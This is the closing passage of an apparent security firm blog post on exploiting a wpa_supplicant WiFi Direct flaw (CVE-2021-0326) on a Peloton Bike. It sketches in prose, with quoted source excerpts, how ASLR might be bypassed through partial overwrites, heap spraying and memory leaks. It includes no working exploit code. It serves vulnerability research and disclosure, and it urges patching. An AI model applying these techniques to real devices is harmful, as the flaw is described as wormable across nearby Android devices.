While the PoC above requires ASLR to be disabled it is entirely possible that an exploit could be written to bypass this requirement. If a separate way to leak memory to the attacker was found, bypassing ASLR in the exploit should be relatively easy. It only really requires two addresses, the base address of the main module and the one heap mapping. The offsets could be found for each different version of wpa_supplicant. Leaking a small amount of data from many structs (like the eloop_timeout used in the exploit) would supply the necessary addresses.

Without a separate way to discover addresses there are only two tools to potentially bypass ASLR: partial overwrites and spraying the heap. It may be possible to perform a somewhat useful partial overwrite by first sending a probe request packet with P2P device information and WiFi Display subelements. In p2p_add_dev_from_probe_req in p2p.c there is code to add wfd_subelems

...
	dev->flags |= P2P_DEV_PROBE_REQ_ONLY;
	...
	if (msg.wfd_subelems) {
		wpabuf_free(dev->info.wfd_subelems);
		dev->info.wfd_subelems = wpabuf_dup(msg.wfd_subelems);
	}
	...

The P2P_DEV_PROBE_REQ_ONLY flag allows the device data to be updated in p2p_add_group_clients

if (dev) {
		if (dev->flags & (P2P_DEV_GROUP_CLIENT_ONLY |
					P2P_DEV_PROBE_REQ_ONLY)) {
			/*
			 * Update information since we have not
			 * received this directly from the client.
			 */
			p2p_copy_client_info(dev, cli);

This allows the wfd_subelems field to be partially overwritten by 4 bytes (due to the 8 byte writes being offset by padding). This provides the correct most significant byte to the arbitrary address to free. Alternatively the entire pointer can be overwritten with zeros which will prevent the allocation from ever being freed (the other kind of memory leak). The wfd_subelems can be large allocations with data almost entirely controlled by the attacker and over potentially many WiFi Direct scans the heap can be sufficiently sprayed to allow a guessed arbitrary address to be freed. Ideally the size of the wfd_subelems can be selected such that when reallocated this memory contains a wpabuf that is part of data sent back to the attacker (in the content of a beacon or probe response). Next the address-0x20 can be freed allowing the attacker to overwrite the size of the wpabuf to make it larger. In subsequent beacons or probe responses data from outside the original bounds of the buffer will be sent, potentially exposing memory that can be used to calculate the addresses needed for the exploit.

I have tried very little of this, but it should be possible, and I may try to make it work in the future. I will likely not release that exploit as this vulnerability is wormable, each Android device (and any other device using wpa_supplicant) can infect the ones around it. Though this might not work depending on how frequently devices perform WiFi Direct searches.

Peloton produces another model, the Bike+, which runs Android 9 and the patch for CVE-2021-0326 was deployed by Peloton in June. Additionally CFI (Control Flow Integrity) presents more obstacles to exploitation on Android 9 devices. 

Conclusion

When I saw that the Peloton Bike had not received an Android security patch for over two years I believed that it would be easy to find a known vulnerability that had been written about sufficiently for an RCE exploit to be relatively easy to achieve. Instead it ended up being an incredibly difficult journey, and even now the exploit is only really half finished. Clearly patching is still very important. However this is hopefully an indication that the core software of the majority of mobile devices, Android, is becoming more secure. 

At NowSecure we are committed to making the mobile world safer. Check out NowSecure Platform for automated mobile application security testing and our expert mobile penetration testing services to better secure your mobile apps today.